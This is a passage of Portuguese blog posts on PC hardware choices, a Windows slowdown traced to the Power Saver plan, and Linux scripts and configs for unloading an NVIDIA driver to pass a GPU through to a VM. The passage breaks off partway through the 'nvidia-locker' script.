Poderia usar Water Cooler (AIO)? Poderia, mas tem que ser um AIO com radiador de 280mm a 360mm (lembram quando falei sobre medir a dimensão dos componentes com o gabinete que vai comprar??). Um AIO funciona assim: em vez de ter uma ventoinha diretamente no dissipador de metal que fica grudado na CPU, passa um tubo onde circula líquido que vem de um tanque com uma bomba.

A água fria passa pelo dissipador, vai capturando calor, e levando pra um radiador. O radiador precisa de ventoinhas, pra dissipar o calor dele pro ar. Ou seja: vai ter ventoinhas de qualquer forma. Por isso eu não vejo vantagem. Veja um exemplo:

Tem várias opções como a Corsair Nautilus 360 RS Liquid CPU Cooler ou uma NZXT Kraken 240 RGB AIO.

Por que se vê tanto AIO por aí? Porque os marketeiros descobriram do que as pessoas gostam: luzes RGB. Essa é a única razão. Em vez de uma única ventoinha eficiente Noctua, bege, sem graça, porque não três ventoinhas coloridas no radiador?? 🤣

Honestamente, tirando essa única razão, não existe motivos pra não ir direto pra Noctua NH-D15. Eu acho AIOs uma enorme perda de tempo.

Isso tudo dito, comprou a melhor CPU, a melhor Noctua, agora falta uma coisa entre as duas: Pasta Térmica. Normalmente, quando se compra o dissipador+ventoinha, como essa Noctua, já vem pasta térmica junto. No exemplo, deve vir a Noctua NT-H2, que é boa e suficiente.

Eu, pessoalmente, sempre confiei na Thermal Grizzly. Sempre usei a Kryonaut. Mas se dinheiro não for problema, porque não já ter uma Thermal Grizzly Duronaut?

Outras boas opções são a Arctic MX-6, Corsair XTM60 Performance, Thermalright TF7 12.8 W/mK, Cooler Master Cryofuze 5 ou ID-Cooling Frost X45. Qualquer uma delas vai ser boa.

Passe na CPU, espalhe com uma espátula de plástico pela área toda e é isso. Esquece as mandingas de colocar pasta em “X” ou qualquer outro formato. Só espalha igualmente e pronto, talvez um pouquinho mais no meio.

E sim, existe a opção de Metal Líquido, como vem nos Playstation 5. Mas você não vai querer usar.

Metal Líquido é CONDUTOR ELÉTRICO, diferente de pasta térmica. Pra usar precisa SABER como usar. E você não vai saber. Vai vazar pelos lados e vai dar curto e você vai fritar sua CPU. Nem cogite. É pra usos específicos de quem sabe o que está fazendo.

Na dúvida, compre Thermal Grizzly, Duronaut ou Kryonaut. Acabou.

Undervolting

Um pequeno adendo sobre notebooks, especialmente os mais velhos de mais de 5 anos pra trás. Eles não tem como colocar coolers grandes como um NH-D15 ou um AIO. E a geração Intel de mais de 5 anos atrás dissipava MUITO calor. Não era incomum a CPU chegar a 100 graus!!

Uma CPU normal opera em clock base, digamos 2 ou 3Ghz, e quando precisa de mais performance numa tarefa pesada, ele pode dar Turbo Boost pra 4Ghz ou mais. Só que isso aumenta consumo de energia (bateria vai embora mais rápido) e o pior: esquenta.

Se esquentar demais vai acontecer o temido THERMAL THROTTLE, ou seja, a CPU - pra se proteger, e não morrer - vai derrubar o block abaixo do base clock, digamos pra menos de 1 Ghz.

Não adianta nada dar Boost de 4Ghz por alguns minutos e depois passar um tempão capado em 1 Ghz até a temperatura baixar.

Por isso muita gente recomenda fazer undervolting com uma ferramenta como Throttlestop no Windows ou VoltageShift no Mac ou intel-undervolt e amdctl no Linux (leia o ArchWiki de Undelvolt)

A idéia é diminuir a voltagem que vai pra CPU/GPU, evitar que ele bata no teto de temperatura e evitar thermal throttle. É melhor que rode um pouco menos rápido no geral, do que rebaixar lento demais num throttle.

É um processo de tentativa e erro, depende do firmware, modelo da CPU, etc. Mas se você sente esse problema no seu notebook antigo, essa é uma solução.

Eu precisei usar muito isso na época dos Macbook Intel ou Dell XPS da era de 2016. Cuidado com notebooks com reputação de não ter boa solução térmica (que esquenta demais).

Mini-PCs

Se achou tudo isso complicado, e acha notebooks muito caros, existe uma outra boa alternativa: Mini-PCs.

Muita gente fala dos Beelink e eu concordo, são muito bons. Se conseguir achar uma boa configuração num preço que cabe no seu bolso, pode comprar. Hoje em dia funcionam muito bem.

Eu mesmo uso um Intel NUC 13 Pro Slim, que vem com uma Intel Core i7-1360P de 13a geração, com 16GB e eu dei upgrade pra 32 GB (DDR4), tem PCIe 4.0 pra NVME, acho que vem com 512GB mas dei upgrade pra 1TB, Wi-fi 6E e Bluetooth 5.3, iGPU Intel Irix Xe (4K 60hz, não presta pra jogos mas pra produtividade é de bom tamanho), Ethernet 2.5Gbps (excepcional pra um Mini-PC), saídas HDMI e DP, e ainda tem Thunderbolt 4 e USB 3 Gen 2.

Não é barato, mas também não é absurdo. No Mercado Livre tá na faixa de BRL 6.000, o que é super aceitável pra essa configuração e zero trabalho. Eu uso ela como meu home server, como já mostrei em vários posts anteriores no blog.

Tenho dezenas de containers Docker rodando coisas como Plex, Sonarr, Radarr, Grafana, Cloudflare, etc e não usa quase nada da minha CPU. Eu coloquei 32GB mas poderia ter deixado com os 16 GB que veio porque male-male está usando 4GB de RAM no total.

Esse mini-PC é suficiente pra um programador médio. Vai durar muito tempo. Só conectar um monitor, teclado, mouse e é isso.

Eu tenho um segundo mini-PC, o Minisforum EliteMini UM780 XTX:

Esse é mais potente, tem AMD Ryzen 7 8840U (categoria similar a um Rog Ally X de primeira geração, o de segunda é Z1 Extreme), 32GB, 1TB NVME PCIe 4.0, tem USB 4 (não tem Thunderbolt porque é exclusividade da Intel, Apple licencia). Mas pra mim o mais importante é que é um dos poucos PCs que tem saída OCulink.

OCulink é uma porta que conecta direto no barramento PCIe. Diferente de USB ou Thunderbolt que tem overhead do protocolo, OCulink é como se eu estivesse espetando uma placa direto no slot da placa-mãe.

Quando saiu o SteamDeck talvez vocês já tenham visto videos de pessoas fazendo mod e conseguindo conectar uma GPU externa nele. Pra fazer isso a GPU precisa se conectar direto na PCIe e a gambiarra foi usar o slot de NVME pra isso. Porque NVME também é um slot M2 que é PCIe, como já expliquei lá em cima.

Pois bem, com OCulink não precisa fazer essa gambiarra. A Minisforum vende o DEG1 OCulink EGPU:

Lembram que eu falei que tenho uma RTX 4090 no meu PC e também uma RTX 4060 pra games? Eu ligo nesse deck de egpu, conecto uma PSU só pra GPU e o DEG1 conecta na porta OCulink da UM780, e ela se liga na minha TV OLED 80", e pronto! Game 4K na sala.

Vai ter menos lanes de PCIe do que num PC de verdade, mas vai ser mais rápido do que um EGPU com Thunderbolt 4. Pro sistema operacional, seja Windows, seja Linux, ele não nota diferença de estar dentro ou fora do gabinete. Pra ele é uma GPU normal conectado num slot PCIe 4.0 diretamente. Não recomendo EGPUs via Thunderbolt, só com OCulink.

E não adianta ligar minha 4090 porque não tem lanes de PCIe suficientes. OCulink é PCIe x4. Quando se lê “x4” significa 4 Lanes PCIe, no caso 4x PCIe 4.0 então uma banda máxima de 64Gbps.

Uma RTX 4090 foi desenvolvida pra PCIe 5.0 x16. Então eu estaria desperdiçando 3/4 da banda que ele é capaz de trafegar. Por isso disse que seria um desperdício. Um RTX 4060 foi desenhado pra PCIe 4.0 x4 que é exatamente o máximo da OCulink, então esse é o teto pra uma EGPU.

Portanto uma RTX 4060 via OCulink vai performar quase que totalmente, sem overhead se fosse eGPU via Thunderbolt (que perderia uns 20% da banda). Mas potente que isso, vai desperdiçar a GPU.

Voltando pra mini-PC, como falei, Beelink é uma marca bem popular. E se quiser o seu topo de linha, é a Beelink SER9 Pro:

Pela bagatela de BRL 8.000 no Mercado Livre, ela vem com AMD Ryzen AI 9 HX370 (12 cores/24 threads, até 5.1Ghz boost, 80 TOPS de AI), 32 GB de LPDDR5 (bem melhor que DDR4), 1 TB NVME PCIe 4.0, iGPU Radeon 890M (que é boa pra jogos também! muito melhor que um SteamDeck), Ethernet 2.5Gbps (excelente), e o básico: USB 4, HDMI, DisplayPort, USB 3.2, etc.

Pela configuração, eu acho que o preço condiz bem. Um notebook de configuração similar seria um ASUS ROG Flow Z13 que tá na faixa de BRL 13.000. Se considerar que é portátil, vem com uma tela excelente, teclado, touchpad, bateria, não é um preço tão ruim.

Ou se quiser algo ainda mais Premium, seria um Razer Blade 16 que tem o mesmo Ryzen AI Max mas uma tela 16", super fino e tals, mas com a Taxa Brasil, vai sair salgados BRL 40.000. Não dá pra justificar.

Se não quiser gastar tanto, ainda tem a Beelink SER8 que tem AMD Ryzen 7 8845HS, que ainda é razoavelmente suficiente pra programar, com 8 cores/16 threads, iGPU Radeon 780M (que serve pra jogos não tão pesados), 32 GB DDR5 5600 (que é bom), 1 TB PCIe 4.0 que dá pra subir até 4 TB como já expliquei. Vem com Wi-Fi 6, Bluetooth 5.2, Ethernet 2.5 Gbps também, suporta HDMI 2.1, DP 1.4, USB 4.

E num Mercado Livre ainda se acha por uma faixa de BRL 5.000, similar ao meu Intel NUC. Acho que esse é o “sweet-spot” entre preço e performance. Pra mim, pessoalmente, acho fraco, mas não quer dizer que seja inútil. De novo, depende de quanto você pode gastar. O melhor PC é aquele que você pode comprar.

Se instalar Omarchy nesse Beelink, fica redondo! Recomendo!

Conclusão

Acho que isso é tudo que eu queria compartilhar sobre escolher componentes de PCs. Nos videos do meu canal eu explico vários conceitos que complementam isso como Introdução a Redes ou Entendendo Armazenamento ou mais “escovação de bits” em Como Computadores Funcionam e até coisas mais nerds como Saga dos Teclados ou, pra programadores, Como Containers Funcionam e Sistemas Operacionais, tudo organizado em playlists. Só assistir.

Pra se manter atualizado, recomendo alguns canais que eu gosto:

• Linus Tech Tips
• Gamers Nexus
• ETA Prime
• CoreTeks
• Digital Foundry (pra entender efeitos de funcionalidades de GPUs em games)
• Hardware Canucks
• Matthew Moniz
• Dave2D

O que não falta no YouTube são “Tech Reviewers” e a GRANDE maioria são extremamente ruins. Não recomendo a maioria. Tirando os da minha lista acima, não sobra muitos não. Tem alguns mais ou menos como Austin Evans, mas é mais entretenimento que review técnico, então também não recomendo.

Achou tudo isso demais? Isso foi só a ponta do iceberg. Não se preocupe em acertar de primeira. Você nunca vai ter só 1 PC. O importante é que preste atenção onde errou pra acertar na próxima. Mas se não se importar em pesquisar esses componentes todos e ficar só ouvindo YouTuber, vai fazer igual gente que consulta astrólogo pra saber como vencer na vida: não vai.

Vou repetir: o melhor PC é aquele que você pode comprar!

Meu primeiro PC foi um 286 de 1MB de RAM no fim dos anos 80. Desde então passei por vários PCs. Numa era antes da Internet, eu cansei de ler classificados nos jornais pra pesquisar preços, eu ia bater perna na rua Santa Ifigênia, em São Paulo, que era a meca dos componentes eletrônicos. No começo da Internet eu cansei de fuçar ecomerces mais ou menos, componentes da Ásia via ums LikSang da vida.

Tive vários PCs, vários notebooks. Por isso eu tenho uma boa noção hoje, com quase 50 anos e como podem ver, eu continuo atualizado. Você de 20 tem que ter vergonha de ter preguiça. Isso tudo leva tempo, mas precisa começar não tendo medo de fuçar e errar.

Eu já queimei componentes, já dei curto, já fiz gambiarra, já formatei HD errado. Tudo que se pode imaginar que dá pra fazer errado, eu já fiz, por isso sei que é errado. E eu sei ler, li o que os outros faziam, e tentava do meu jeito. Montar PC é algo que você vai fazer a vida toda. Quanto mais cedo tirar a preguiça e aprender os componentes, menos problemas vai ter no futuro.

Ser o “melhor programador” significa aprender a tirar o máximo que seu hardware consegue entregar e isso significa aprender a tunar cada componente e OS até extrair tudo dele. Foi assim que eu mais aprendi sobre computação: com hardware fraco. Ter dinheiro e comprar o mais caro só significa que você não vai aprender nada além de reclamar. E reclamar não tem valor.

Agora senta que lá vem história.

Eu montei um PC até que razoável pra minha namorada: Intel i7 12th Gen de 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, placa-mãe MSI Edge z790, NVME e até coloquei um NAS Synology DS1621+ em rede 2.5Gbps - porque ela é criadora de conteúdo e tem MUITO video pra editar. Modéstia a parte, ficou bonito:

Tudo funcionou muito bem por bastante tempo, mas eventualmente, sem nenhum motivo aparente, tudo começou a parecer meio lento. Não totalmente lento, mas às vezes páginas web pareciam engasgar pra carregar. Clicava no menu Start do Windows e ele parecia dar umas travadas. Às vezes o Explorer travava e precisava ir no Task Manager e dar restart no processo manualmente. Várias coisas super inconvenientes mas que não dava nenhum “erro” explícito aparente. Só parecia “estranho”.

Eu sou usuário de Linux. Meu PC principal é Manjaro Linux. Só uso Windows nos meus mini-PC de games, exclusivamente pra rodar Steam e alguns emuladores. Eu evito ao máximo instalar qualquer coisa neles. Porque sei como é um saco diagnosticar Windows depois que algum programa estranho invade.

Fui olhar os suspeitos de sempre. Ela tinha instalado jogos pra fazer streaming, tipo Valorant, Genshin Impact e coisas assim. Eu sempre suspeito de anti-cheats, as porcarias do Riot Vanguard ou Easy ou VAC. Comecei desinstalando todos os games. Mas eu sempre acho que anti-cheat é que nem malware: uma vez instalado, nunca mais vai sair do sistema. Desinstalei tudo, mas continuou essa sensação de meio travando, meio lento, às vezes, intermitente.

Tentei os próximos suspeitos: software de periféricos, como os da Elgato, Logitech, Razr que instalam um monte de porcaria nas máquinas, e recentemente estava lendo sobre o malware que vinha em todos eles. Assistam este video do GamerNexus pra entender a casa de cartas que é toda a indústria de periféricos com RGB:

Mesmo desinstalando todos, ainda mesmo comportamento: meio lento, meio travando, instável.

Vamos tentar ir mais a fundo, pra isso tem que instalar ferramentas como da Sysinternals Autoruns pra ver se tem alguma coisa iniciando (coisas escondidas no Registry por exemplo). Tentei desligar tudo que eu achava suspeito.

Nada. A essa altura também já tinha garantido que firmware de BIOS mais nova da MSI estava instalado. Chequei se nada tinha desligado na BIOS, XMP profile tava ok, nada de fast-boot e coisas assim.

Será a Internet?

Como o uso maior é internet e ela parecia “lenta”, pensei que poderia ser problemas de rede. Roteador da Vivo? Plano? Wifi com interferência?

Ficando sem paciência resolvi ir nuclear na idéia de internet. De fato, abrindo a página da Cloudflare Speed Test eu via que a velocidade em si estava ok, mas a latência estava MUITO alta, jitter alto e, principalmente PACKET LOSS estava em mais de 15%. Não é normal isso, tem que ser 0%.

Aproveitei que fui pra Miami e já trouxe um roteador TP-LINK BE9300 pra Wi-fi 7, comprei uma placa PCIe de Wi-fi 7 compatível também. Desliguei o roteador de Wi-fi da Vivo e mandei subir o plano pra 800Mbps. E de fato, melhorou muito a internet:

Latência caiu, jitter caiu, packet loss foi pra 0%.

Mas isso não resolveu o problema. Do nada o navegador dava umas pausas na hora de carregar alguma página. Aquela sensação meio de lento, meio travando. E sim, tentei trocar de Edge pra Chrome, pra Firefox, pra tudo. Nada fazia diferença. A internet ficou mais rápida mesmo, mas o Windows em si não pareceu que melhorou muito e navegando, começava a ficar mais e mais lento. Então o problema não era internet.

Estava ficando sem opções. Tudo que poderia ser manualmente limpo no Windows, eu limpei. Já não tinha quase mais nada pra apagar - e eu apago as coisas sem dó. Mas eu sempre fico na cabeça que é algum malware, alguma coisa que carrega antes do boot, algum “ROOTKIT”. Anti-cheats são Rootkits por definição. Eles carregam antes até da kernel e a partir desse ponto, o sistema comprometido não pode ser mais confiado, porque nenhuma ferramenta vai conseguir achar ele.

Assumindo que nesse ponto deve ser um sistema comprometido, resolvi ir na opção nuclear: reinstalar tudo do zero. Fizemos backup dos dados e lá fui eu reinstalar do zero.

Reinstalar NÃO FUNCIONOU

Agora ficou pior.

Com o Windows 11 Pro, recém-instalado, garantidamente sem nenhum software de terceiros instalado, ainda assim estava com o mesmo comportamento de meio lento, meio travando. O menu de start não me deixava clicar em nada. Precisava abrir o task manager e matar o Explorer manualmente pra fazer ele voltar a funcionar.

Fiquei um tempo olhando pro Task Manager, mas não tinha nenhum processo rodando que eu poderia suspeitar mais: era Windows bare-bones. Eu até tinha rodado um Debloater pra desinstalar os apps desnecessários da Microsoft como Teams.

Mas eis que, de tanto olhar o task manager, eu vi que estava ignorando um dado importante. Veja se acham:

A imagem tá meio zoada porque eu tirei foto do monitor com meu celular. O refresh rate conflita com da câmera e fica essa “grade”, mas acho que dá pra ler.

Mesmo quando você não tem quase nenhum programa rodando, não é natural a CPU estar com clock tão baixo assim, 0.50Ghz - MEIO GIGAHERTZ. Esse Intel i7 é capaz de ir acima de 4Ghz e o clock-base é de 2Ghz.

Abri navegadores, abri abas, fiquei monitorando, e nunca subia pra mais de 1.5Ghz. Um ocasional pico de 2Ghz por 1 segundo e depois caía pra abaixo de 1Ghz de novo. Daí pensei: será que o AIO está falhando??

Olhando o Event Viewer dava pra ver quando o menu Start (que faz parte do Explorer.exe) parava de funcionar e travava: ele registra no log como “Hanging Events” código 1002.

Tá vendo esse monte de Error? Tudo Hanging Events, e “hanging” é justamente o comportamento: alguma coisa parece “segurar”, “travar” e só matando o processo pra ele voltar a funcionar.

E isso acontecia antes e também DEPOIS de resinstalar tudo do zero. Alguma coisa parecia fundamentalmente errada no hardware em si. Com o clock super baixo, esse comportamento começa a fazer sentido: está tão lento que ele não está conseguindo processar coisas básicas. Clique várias vezes no Start Menu (que vai ficar fuçando documentos recentes, atualizando lista de aplicativos, abrindo search bar, etc) e não tem clock pra processar isso enquanto ainda tem Windows Defender em background, abas de navegador processando.

Será Thermal Throttle??

Como o Windows está zerado, não pode mais ser anti-cheat, não pode ser anti-virus esquisito, não pode ser malware, não é a internet, é alguma coisa FORA, era o que fazia sentido.

Abri o PC e deixei aberto pra poder sentir se o dissipador estava ficando absurdamente quente. Se estiver, iria significar que meu AIO (Watercooler da Coolermaster) começou a falhar.

É normal quando a CPU super-aquece, ele derrubar o clock pra evitar queimar o chip. Isso se chama “THEMAL THROTTLING”.

E de novo esquisito: estava FRIO ao toque!!!

Não é possível. Abri a BIOS pra re-checar perfis de ventoinha, mas tudo normal:

Eis que finalmente me ocorreu:

**DEIXA EU CHECAR CONFIGURAÇÃO DE POWER**

Num PC/notebook normal, deveria aparecer algo parecido com isto:

Por default, Windows sempre sobe em “Balanced Mode”.

Mas no PC da minha namorada, não sei por que, não tinha opção de Power Mode!!! E eu estou num Windows 11 pro com licença paga!!

Isso é esquisito, mas eu sei que no antigo Control Panel, tem opção de Power Options:

E EIS O PROBLEMA:

Estava em “Power saver”!!!

Como isso aconteceu? Não tenho a mínima idéia. LEMBREM-SE: eu re-instalei o Windows do zero. Isso é logo depois de reinstalar!!

Em notebook faz sentido ter esse perfil, pra economizar bateria quando você não tem tomada. Mas em PC desktop, como é meu caso, não faz nenhum sentido!! Mudei pra “Ultimate Performance” e olha o task manager agora:

AGORA SIM!! Acima de 4Ghz!!!

O NORMAL desta CPU é estar na faixa de 4Ghz, com Turbo Boost de 5Ghz. Mas em Power saver mode, ele NUNCA sobe acima de 2Ghz e fica idling em 500Mhz. Ou seja, estava tudo DEZ VEZES MAIS LENTO, às vezes tentava dar boost e ficava ainda CINCO A DUAS VEZES MAIS LENTO. E é intermitente!!!

Testando instalar apps, navegar, etc, tudo agora está funcionando normalmente, sem travar, sem sensação de lentidão. Start menu não trava mais - porque agora tem CPU suficiente pra processar as porcarias que ele precisa em background.

Conclusão

CHEQUE POWER OPTIONS NO CONTROL PANEL!!!!

Repetindo: eu tinha ACABADO DE REINSTALAR O WINDOWS. Estava zerado e, por default, ele subiu em Power Saver mode.

Não tenho idéia de porque ele fez isso, não sei se ele sempre faz isso, não sei se ele não reconheceu a placa-mãe da MSI, não sei que combinação de fatores de hardware podem fazer o Windows dar fallback pra isso.

Mas é ALARMANTE que ele faça isso sem avisar. Não tem mensagem de erro. Não tem notificação. Não aparece no Event Viewer. Ou seja, mesmo um Power User como eu eu, precisa aleatoriamente suspeitar “hum, deixa eu ver o perfil de energia”.

Muita gente com Windows deve estar sentindo essa lentidão e travamentos e achando “hm, meu PC é porcaria mesmo, preciso juntar dinheiro pra comprar outro”, sem saber que talvez ele só esteja capado por esse perfil de energia e na verdade o PC dele é de 2x a 5x, até 10x mais rápido e ele não sabe disso! Não é uma diferença pequena!

POWER SAVER MODE é uma grande porcaria, não tem nenhuma utilidade prática e nem deveria existir. É uma das coisas legadas que fazem o Windows ter uma péssima experiência - porque ele não avisa.

Lembra os códigos de erros 1002 de hanging events? Se sair procurando no Google, todo fórum vai te dizer pra rodar programas de diagnósticos, desinstalar coisas, ou reinstalar o Windows. Nenhum cita nada sobre perfil de energia.

Espero que isso ajude mais alguém!

Em Fevereiro de 2023 eu fiz um longo video sobre como eu configurei Windows pra rodar emulado em VM de QEMU/Libvirt e conseguindo passar minha 2a GPU, que é a RTX 4090 pra dentro da VM, possibilitando rodar jogos pesados mesmo emulando o Windows. Se não assistiu, está neste link.

Em resumo, eu tenho uma máquina parruda, um Ryzen 9 7950X3D com 96GB de RAM. Essa CPU tem uma iGPU, uma GPU integrada fraquinha da AMD. Fraquinha mas mais do que suficiente pra rodar GNOME em dois monitores, com suporte a HDR e em 4K sem engasgar nem nada. Pra uso do dia a dia que é mais abrir navegador, é mais que suficiente.

Essa GPU carrega no Linux com o driver que já vem na kernel, amdgpue é montada como /dev/dri/card1. Daí eu coloquei uma 2a GPU, a parruda RTX 4090 com 24GB de VRAM GDDR6X. Não é suficiente pra rodar as LLMs mais parrudas, mas consegue rodar o suficiente. Comprei primariamente pra jogos, mas acabo usando pra IA e render 3D também.

Agora o conceito é simples: no boot, o Linux precisa ignorar essa placa e não carregar os drivers da NVIDIA. Se fizer isso, eu não consigo depois passar ela pra dentro da VM do Windows. Eu editava os videos do meu canal no DaVinci Resolve, que usava plugins que só funcionam em Windows, esse era um dos motivos na época. O Resolve em si funciona no Linux também, mas muitos plugins não. Eu também preferia usar Photoshop, que também só tem no Windows.

Pra isso configuramos o Linux pra carregar um driver de mentira, chamado de vfio-pci no lugar do driver da Nvidia (ou a alternativa open source, Nouveau). No outro artigo eu explico em mais detalhes, mas é um enorme saco configurar isso na mão. Não sei se ainda funciona, mas na época também usei um script que automatiza isso, o GPU-Passthrough-Manager. Ele vai configurar tudo pra impedir os drivers da NVIDIA de carregar e trocar pra vfio-pci corretamente. Acho que também funciona em notebooks com Optimus, quando você tem uma iGPU mais fraca (pra economizar bateria) e uma GPU discreta separada, mas eu não testo isso faz anos então nem me perguntem, perguntem ao ChatGPT.

Desde 2023 isso funciona super bem. Eu tenho um script chamado nvidia-locker que tá no outro artigo. Se eu quiser rodar LLMs ou Blender no meu Linux nativo, rodo esse script e ele tira o vfio-pci e recolocar o driver da NVIDIA em tempo real, sem precisar rebootar. Daí quando termino e eu preciso bootar no Windows, rodo o script de novo e ele descarrega o driver também em tempo real, possibilitando passar via PCI Passthrough pra VM do QEMU. Tudo bonito.

Isso é, até poucos meses atrás, quando o Arch e Manjaro atualizaram pra trocar o antigo legado do Xorg pra Wayland. Hoje em dia Wayland é bem mais estável, os portals dele funcionam direitinho e eu consigo usar webcam, microfone, tablet e tudo mais sem nenhum problema. Tudo funciona e, teoricamente, Wayland é pra ser melhor. O novo GNOME 48 também ficou muito bom, com suporte a HDR e tudo mais. Enfim, tá tudo bonitão mesmo, recomendo.

Menos pra combinação de GNOME/Wayland com GPU NVIDIA especificamente nesse cenário de PCI Passthrough pra VM. Em resumo: o boot continua normal, vfio-pci carrega e esconde a GPU da NVIDIA. Meu script nvidia-locker também consegue recarregar o driver da NVIDIA a quente. O problema é quando eu tento descarregar o driver pra abrir a VM: o GNOME não deixa.

O Wayland é super agressivo e assim que ele detecta que surgiu uma nova GPU, ele carrega o processo gnome-shell nessa GPU. E como tem um processo pendurado, não tem como tirar mais o driver a quente. Só rebootando, e isso é um saco.

Não tem solução fácil. Eu tentei dezenas de coisas diferentes como permissões, regras de UDEV, serviços de SystemD, opções de kernel mas nada impede a porcaria do processo gnome-shell ou gjs (portal de Flatpak) de se pendurarem na GPU.

Só tem um jeito, meio gambiarra:

• primeiro, configurar o GDM (que carrega o GNOME e é o processo pai) pra não auto-restartar automaticamente se morrer
• segundo, ir pra outro TTY (Ctrl+Alt+F3, por exemplo), matar o GDM de lá e só assim descarregar o driver da NVIDIA.
• terceiro, quando trocar o driver por vfio-pci, agora sim a GPU está desligada e dá pra reiniciar o GDM e logar novamente. Só um saco que os apps gráficos abertos vão morrer, mas é mais rápido do que um reboot inteiro do PC.

1 - desligar auto-restart do GDM

# Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf <<EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload

Essa config impede o GDM de auto-reiniciar. Agora eu consigo matar ela. Sem fazer isso, se eu matar a GDM, ela abre de novo rápido demais e não dá tempo de tirar o driver da NVIDIA antes.

2 - Tentando evitar o Wayland de pegar a GPU

Isso o script de GPU-Passthrough-Manager teoricamente já faz, mas pra garantir é bom ter o seguinte:

Primeiro, em /etc/modprobe.d/blacklist-nvidia.conf:

blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0

Segundo, em /etc/modprobe.d/nvidia.conf:

options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0

A opção modeset é pra tentar fazer o nvidia_drm não se pendurar na GPU, mas isso não funcionou também. É opcional, não sei se tem problema deixar ou tirar pra modeset=1 de novo. Acho que é mais importante isso se você usa o GPU da Nvidia como GPU primária onde realmente sua interface gráfica vai rodar, especialmente pra suportar o Wayland corretamente.

A outra tentativa é com regras de UDEV em /etc/udev/rules.d/80-nvidia-composite.rules:

# Unified NVIDIA/AMD GPU management
ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x10de", \
    RUN+="/bin/sh -c 'chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 >> /etc/environment'"

ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x1002", \
    RUN+="/bin/sh -c 'chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k'"

# New critical addition:
ACTION=="add", SUBSYSTEM=="pci", ATTR{vendor}=="0x10de", ATTR{class}=="0x030000", ATTR{enable}="0"

A idéia é tentar mudar os atributos chmod pra 000, mas isso também não funcionou.

A última tentativa foi tentar um serviço Systemd em /etc/systemd/system/nvidia-lock.service:

[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon0/bind'
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon1/bind'
ExecStart=/bin/sh -c 'chmod 000 /dev/dri/card0'
ExecStart=/bin/sh -c 'for card in /dev/dri/card*; do [ "$(cat /sys/class/drm/${card##*/}/device/vendor)" == "0x10de" ] && chmod 000 "$card"; done'

[Install]
WantedBy=graphical.target

Mesma idéia de tentar bloquear o Wayland via permissões mais duras, mas também não funcionou. Eu acho que não tem problemas eu deixar isso rodando mas podem pular pra próxima seção

3. O que funcionou

Depois de muito testar, agora eu tenho dois scripts (só pra ficar menor macarrônico). Eis o script nvidia-unlock que descarrega o driver da NVIDIA e tem que rodar de outro TTY diferente de onde roda o GDM:

#!/bin/bash
# /usr/local/bin/nvidia-unlock - Improved version with session handling

# Store current TTY
CURRENT_TTY=$(tty | sed 's/\/dev\/tty//')
IS_GDM_RUNNING=$(systemctl is-active gdm)

# 1. Stop GDM gracefully
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Stopping GDM..."
  sudo systemctl stop gdm
fi

# 2. Kill all graphical processes
echo "Terminating graphical sessions..."
sudo pkill -9 -f "gnome-shell|gjs|Xwayland"
sleep 1

# 3. Nuclear GPU unbind
echo "Removing PCI devices..."
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.0/remove >/dev/null
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.1/remove >/dev/null
sleep 1

# 4. Purge drivers
echo "Unloading NVIDIA modules..."
sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2>/dev/null

# 5. Rescan PCI
echo "Rescanning PCI bus..."
echo "1" | sudo tee /sys/bus/pci/rescan >/dev/null
sleep 1

# 6. Restore GDM if it was running
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Restarting GDM..."
  sudo systemctl start gdm

  # Return to original TTY
  sleep 3 # Wait for GDM to initialize
  sudo chvt $CURRENT_TTY
fi

# 7. Final verification
if ! lsmod | grep -q nvidia; then
  echo "✅ NVIDIA GPU successfully unlocked"
else
  echo "❌ Failed to fully unlock GPU"
  exit 1
fi

Esse script mata todo mundo embaixo do GDM, o GNOME Shell, os programas gráficos abertos, tudo, então não deixe seu Libreoffice aberto sem salvar se rodar isso, vai matar tudo. Por isso tem que fazer Ctrl+Alt+F3 e rodar do terminal separado.

E agora, este é meu novo nvidia-locker :

#!/bin/bash
# nvidia-locker - Final working version with proper TTY handling

# Get the directory where this script lives
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Configuration
NVIDIA_GPU="0000:01:00.0"
NVIDIA_AUDIO="0000:01:00.1"
PCI_PATH="/sys/bus/pci/devices"
DRM_PATH="/dev/dri"
UNLOCK_SCRIPT="${SCRIPT_DIR}/nvidia-unlock" # Look in same directory

#  Core Functions 

get_driver() {
  local device="$1"
  if [ -d "$PCI_PATH/$device/driver" ]; then
    basename $(readlink "$PCI_PATH/$device/driver") 2>/dev/null || echo "none"
  else
    echo "none"
  fi
}

is_gui_session() {
  # Returns true if running in a graphical session
  [ -n "$DISPLAY" ] || [ -n "$WAYLAND_DISPLAY" ]
}

print_status() {
  echo -e "\nCurrent GPU Status:"
  lspci -nnk -d 10de:2684
  lspci -nnk -d 10de:22ba
  echo
}

load_vfio() {
  echo "🔒 Binding to vfio-pci..."
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
